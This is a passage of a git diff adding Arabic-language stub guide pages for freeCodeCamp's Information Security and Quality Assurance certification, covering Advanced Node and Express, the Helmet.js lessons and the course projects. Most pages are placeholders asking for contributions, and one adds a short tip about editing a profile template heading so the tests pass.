+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/communicate-by-emitting/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/create-new-middleware/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/create-new-middleware/index.md
new file mode 100644
index 0000000000..06d519cfcc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/create-new-middleware/index.md
@@ -0,0 +1,9 @@
+---
+title: Create New Middleware
+localeTitle: إنشاء ميدياوير جديدة
+---
+## إنشاء ميدياوير جديدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/create-new-middleware/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/handle-a-disconnect/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/handle-a-disconnect/index.md
new file mode 100644
index 0000000000..b742445f91
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/handle-a-disconnect/index.md
@@ -0,0 +1,9 @@
+---
+title: Handle a Disconnect
+localeTitle: التعامل مع قطع الاتصال
+---
+## التعامل مع قطع الاتصال
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/handle-a-disconnect/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/hashing-your-passwords/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/hashing-your-passwords/index.md
new file mode 100644
index 0000000000..a2ddd81e90
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/hashing-your-passwords/index.md
@@ -0,0 +1,9 @@
+---
+title: Hashing Your Passwords
+localeTitle: تجزئة كلمات المرور الخاصة بك
+---
+## تجزئة كلمات المرور الخاصة بك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/hashing-your-passwords/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-put-a-profile-together/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-put-a-profile-together/index.md
new file mode 100644
index 0000000000..74e94000a7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-put-a-profile-together/index.md
@@ -0,0 +1,9 @@
+---
+title: How to Put a Profile Together
+localeTitle: كيفية وضع ملف التعريف معا
+---
+## كيفية وضع ملف التعريف معا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-put-a-profile-together/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-use-passport-strategies/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-use-passport-strategies/index.md
new file mode 100644
index 0000000000..42dc51f61a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-use-passport-strategies/index.md
@@ -0,0 +1,9 @@
+---
+title: How to Use Passport Strategies
+localeTitle: كيفية استخدام استراتيجيات جوازات السفر
+---
+## كيفية استخدام استراتيجيات جوازات السفر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/how-to-use-passport-strategies/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/implement-the-serialization-of-a-passport-user/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/implement-the-serialization-of-a-passport-user/index.md
new file mode 100644
index 0000000000..7bf16b78a4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/implement-the-serialization-of-a-passport-user/index.md
@@ -0,0 +1,9 @@
+---
+title: Implement the Serialization of a Passport User
+localeTitle: تنفيذ تسلسل مستخدم Passport
+---
+## تنفيذ تسلسل مستخدم Passport
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/implement-the-serialization-of-a-passport-user/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-ii/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-ii/index.md
new file mode 100644
index 0000000000..9122462f8e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Implementation of Social Authentication II
+localeTitle: تنفيذ المصادقة الاجتماعية II
+---
+## تنفيذ المصادقة الاجتماعية II
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-ii/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-iii/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-iii/index.md
new file mode 100644
index 0000000000..9e9edb079f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-iii/index.md
@@ -0,0 +1,9 @@
+---
+title: Implementation of Social Authentication III
+localeTitle: تنفيذ المصادقة الاجتماعية III
+---
+## تنفيذ المصادقة الاجتماعية III
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication-iii/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication/index.md
new file mode 100644
index 0000000000..012bcc94a1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication/index.md
@@ -0,0 +1,9 @@
+---
+title: Implementation of Social Authentication
+localeTitle: تنفيذ المصادقة الاجتماعية
+---
+## تنفيذ المصادقة الاجتماعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/implementation-of-social-authentication/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/index.md
new file mode 100644
index 0000000000..1b885179aa
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/index.md
@@ -0,0 +1,11 @@
+---
+title: Advanced Node and Express
+localeTitle: عقدة متقدمة و اكسبرس
+---
+## عقدة متقدمة و اكسبرس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/logging-a-user-out/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/logging-a-user-out/index.md
new file mode 100644
index 0000000000..e78796759e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/logging-a-user-out/index.md
@@ -0,0 +1,9 @@
+---
+title: Logging a User Out
+localeTitle: تسجيل مستخدم خارج
+---
+## تسجيل مستخدم خارج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/logging-a-user-out/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/registration-of-new-users/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/registration-of-new-users/index.md
new file mode 100644
index 0000000000..1b5d602828
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/registration-of-new-users/index.md
@@ -0,0 +1,21 @@
+---
+title: Registration of New Users
+localeTitle: تسجيل المستخدمين الجدد
+---
+## تسجيل المستخدمين الجدد
+
+تأكد من تعديل الملفات الشخصية / الصلصال / الملف الشخصي.الخط 11:
+
+ `h1.border.center FCC Advanced Node and Express 
+` 
+
+إلى
+
+ `h1.border.center Profile Home 
+` 
+
+وإلا لن تمر الاختبارات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/registration-of-new-users/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/send-and-display-chat-messages/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/send-and-display-chat-messages/index.md
new file mode 100644
index 0000000000..762ef47609
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/send-and-display-chat-messages/index.md
@@ -0,0 +1,9 @@
+---
+title: Send and Display Chat Messages
+localeTitle: إرسال وعرض رسائل الدردشة
+---
+## إرسال وعرض رسائل الدردشة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/send-and-display-chat-messages/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/serialization-of-a-user-object/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/serialization-of-a-user-object/index.md
new file mode 100644
index 0000000000..a527126ef2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/serialization-of-a-user-object/index.md
@@ -0,0 +1,9 @@
+---
+title: Serialization of a User Object
+localeTitle: تسلسل كائن المستخدم
+---
+## تسلسل كائن المستخدم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/serialization-of-a-user-object/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-a-template-engine/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-a-template-engine/index.md
new file mode 100644
index 0000000000..b36ff0878d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-a-template-engine/index.md
@@ -0,0 +1,9 @@
+---
+title: Set up a Template Engine
+localeTitle: قم بإعداد محرك قالب
+---
+## قم بإعداد محرك قالب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-a-template-engine/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-passport/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-passport/index.md
new file mode 100644
index 0000000000..7405e08f99
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-passport/index.md
@@ -0,0 +1,9 @@
+---
+title: Set up Passport
+localeTitle: انشاء جواز السفر
+---
+## انشاء جواز السفر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-passport/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-the-environment/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-the-environment/index.md
new file mode 100644
index 0000000000..e0bc2c20f0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-the-environment/index.md
@@ -0,0 +1,9 @@
+---
+title: Set up the Environment
+localeTitle: قم بإعداد البيئة
+---
+## قم بإعداد البيئة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/set-up-the-environment/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/use-a-template-engines-powers/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/use-a-template-engines-powers/index.md
new file mode 100644
index 0000000000..372472fa3d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/advanced-node-and-express/use-a-template-engines-powers/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a Template Engine's Powers
+localeTitle: استخدم قوى قالب المحرك
+---
+## استخدم قوى قالب المحرك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/advanced-node-and-express/use-a-template-engines-powers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/index.md
new file mode 100644
index 0000000000..f7d7833779
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/index.md
@@ -0,0 +1,11 @@
+---
+title: Information Security and Quality Assurance
+localeTitle: أمن المعلومات وضمان الجودة
+---
+## أمن المعلومات وضمان الجودة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/anonymous-message-board/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/anonymous-message-board/index.md
new file mode 100644
index 0000000000..305035df4f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/anonymous-message-board/index.md
@@ -0,0 +1,9 @@
+---
+title: Anonymous Message Board
+localeTitle: مجلس الرسائل المجهولة
+---
+## مجلس الرسائل المجهولة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/anonymous-message-board/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/index.md
new file mode 100644
index 0000000000..040c60852e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Information Security and Quality Assurance Projects
+localeTitle: مشاريع أمن المعلومات وضمان الجودة
+---
+## مشاريع أمن المعلومات وضمان الجودة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/issue-tracker/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/issue-tracker/index.md
new file mode 100644
index 0000000000..4405faf4d2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/issue-tracker/index.md
@@ -0,0 +1,9 @@
+---
+title: Issue Tracker
+localeTitle: قضية تعقب
+---
+## قضية تعقب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/issue-tracker/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/metric-imperial-converter/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/metric-imperial-converter/index.md
new file mode 100644
index 0000000000..dc33255c53
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/metric-imperial-converter/index.md
@@ -0,0 +1,9 @@
+---
+title: Metric-Imperial Converter
+localeTitle: تحويل الامبراطوري متري
+---
+## تحويل الامبراطوري متري
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/metric-imperial-converter/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/personal-library/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/personal-library/index.md
new file mode 100644
index 0000000000..8135eaacc9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/personal-library/index.md
@@ -0,0 +1,9 @@
+---
+title: Personal Library
+localeTitle: مكتبة شخصية
+---
+## مكتبة شخصية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/personal-library/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/stock-price-checker/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/stock-price-checker/index.md
new file mode 100644
index 0000000000..2e3a119741
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/stock-price-checker/index.md
@@ -0,0 +1,9 @@
+---
+title: Stock Price Checker
+localeTitle: مدقق أسعار الأسهم
+---
+## مدقق أسعار الأسهم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/stock-price-checker/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/ask-browsers-to-access-your-site-via-https-only-with-helmet.hsts/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/ask-browsers-to-access-your-site-via-https-only-with-helmet.hsts/index.md
new file mode 100644
index 0000000000..db15e11573
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/ask-browsers-to-access-your-site-via-https-only-with-helmet.hsts/index.md
@@ -0,0 +1,9 @@
+---
+title: Ask Browsers to Access Your Site via HTTPS Only with helmet.hsts()
+localeTitle: اطلب من المتصفحات الوصول إلى موقعك عبر HTTPS فقط مع helmet.hsts ()
+---
+## اطلب من المتصفحات الوصول إلى موقعك عبر HTTPS فقط مع helmet.hsts ()
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/ask-browsers-to-access-your-site-via-https-only-with-helmet.hsts/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/avoid-inferring-the-response-mime-type-with-helmet.nosniff/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/avoid-inferring-the-response-mime-type-with-helmet.nosniff/index.md
new file mode 100644
index 0000000000..a96a29353f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/avoid-inferring-the-response-mime-type-with-helmet.nosniff/index.md
@@ -0,0 +1,9 @@
+---
+title: Avoid Inferring the Response MIME Type with helmet.noSniff()
+localeTitle: تجنب استنتاج نوع MIME الاستجابة مع helmet.noSniff ()
+---
+## تجنب استنتاج نوع MIME الاستجابة مع helmet.noSniff ()
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/avoid-inferring-the-response-mime-type-with-helmet.nosniff/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/configure-helmet-using-the-parent-helmet-middleware/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/configure-helmet-using-the-parent-helmet-middleware/index.md
new file mode 100644
index 0000000000..c4122dc7fd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/configure-helmet-using-the-parent-helmet-middleware/index.md
@@ -0,0 +1,9 @@
+---
+title: Configure Helmet Using the ‘parent’ helmet() Middleware
+localeTitle: تكوين خوذة باستخدام الوسيطة (الأم) خوذة ()
+---
+## تكوين خوذة باستخدام الوسيطة (الأم) خوذة ()
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/configure-helmet-using-the-parent-helmet-middleware/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-client-side-caching-with-helmet.nocache/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-client-side-caching-with-helmet.nocache/index.md
new file mode 100644
index 0000000000..44afae8a6d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-client-side-caching-with-helmet.nocache/index.md
@@ -0,0 +1,9 @@
+---
+title: Disable Client-Side Caching with helmet.noCache()
+localeTitle: تعطيل التخزين المؤقت من جانب العميل مع helmet.noCache ()
+---
+## تعطيل التخزين المؤقت من جانب العميل مع helmet.noCache ()
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-client-side-caching-with-helmet.nocache/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-dns-prefetching-with-helmet.dnsprefetchcontrol/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-dns-prefetching-with-helmet.dnsprefetchcontrol/index.md
new file mode 100644
index 0000000000..781fd5a22d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-dns-prefetching-with-helmet.dnsprefetchcontrol/index.md
@@ -0,0 +1,9 @@
+---
+title: Disable DNS Prefetching with helmet.dnsPrefetchControl()
+localeTitle: تعطيل تسجيل الجلب المسبق لـ DNS باستخدام helmet.dnsPrefetchControl ()
+---
+## تعطيل تسجيل الجلب المسبق لـ DNS باستخدام helmet.dnsPrefetchControl ()
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-dns-prefetching-with-helmet.dnsprefetchcontrol/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-asynchronously/index.md b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-asynchronously/index.md
new file mode 100644
index 0000000000..6ec7f7c84f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-asynchronously/index.md
@@ -0,0 +1,9 @@
+---
+title: Hash and Compare Passwords Asynchronously
+localeTitle: تجزئة ومقارنة كلمات المرور بشكل غير متزامن
+---
+## تجزئة ومقارنة كلمات المرور بشكل غير متزامن
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-asynchronously/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
